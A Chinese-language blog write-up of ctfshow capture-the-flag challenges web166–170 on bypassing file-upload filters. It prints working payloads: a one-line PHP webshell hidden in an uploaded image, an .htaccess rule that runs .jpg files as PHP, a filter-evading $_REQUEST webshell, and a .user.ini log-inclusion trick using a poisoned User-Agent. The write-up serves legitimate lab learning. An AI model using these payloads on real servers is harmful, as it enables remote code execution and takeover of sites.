ctfshow web文件上传 web166-170

1.web166

通过源码上传发现只能传zip,尝试一下图片上传也不行
在这里插入图片描述
把随便一张图片打包成zip文件,上传后发现有一个下载的地方,猜测是文件上传,尝试zip伪协议发现失败,打包php文件也失败了,不知为什么,,上传图片,在zip文件最后加入一句话木马,上传执行,得到flag
在这里插入图片描述

2.web167

打开题目时发现有一个httpd,httpd是apache的服务,关于apache的文件上传中有一个.htaccess配置文件,可以进行文件包含
上传一张图片,发现有个下载文件但是没有包含点,所以就想到像上传配置文件来使jpg可以被包含
在这里插入图片描述
.htaccess写入一下内容

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片,写入一句话木马
执行命令即可得到flag
在这里插入图片描述

3.web168

根据提示,基础免杀
上传php文件,修改mime类型,通过测试发现过滤了eval,post,get等函数
在这里插入图片描述
使用$_REQUEST绕过
上传的php文件写入

<?php $_REQUEST[1]($_REQUEST[2])?>

执行命令,即可得到flag
xxx/upload/1.php?1=sytem&2=tac …/flaaa.php

4.web169

通过上传发现<? php等都被过滤了,所以只能考虑文件包含,这题可以用日志包含来做

服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以了

index.php
在这里插入图片描述
.user.ini

auto_append_file=/var/log/nginx/access.log```

在这里插入图片描述
访问上传的文件位置,在user-agent写入一句话木马
在这里插入图片描述

post传入1=system(“tac …/flagaa.php”); 执行得到flag
在这里插入图片描述

5.web170

和169完全一样

posted @ 2024-11-02 14:17  mushangqiujin  阅读(10)  评论(0编辑  收藏  举报  来源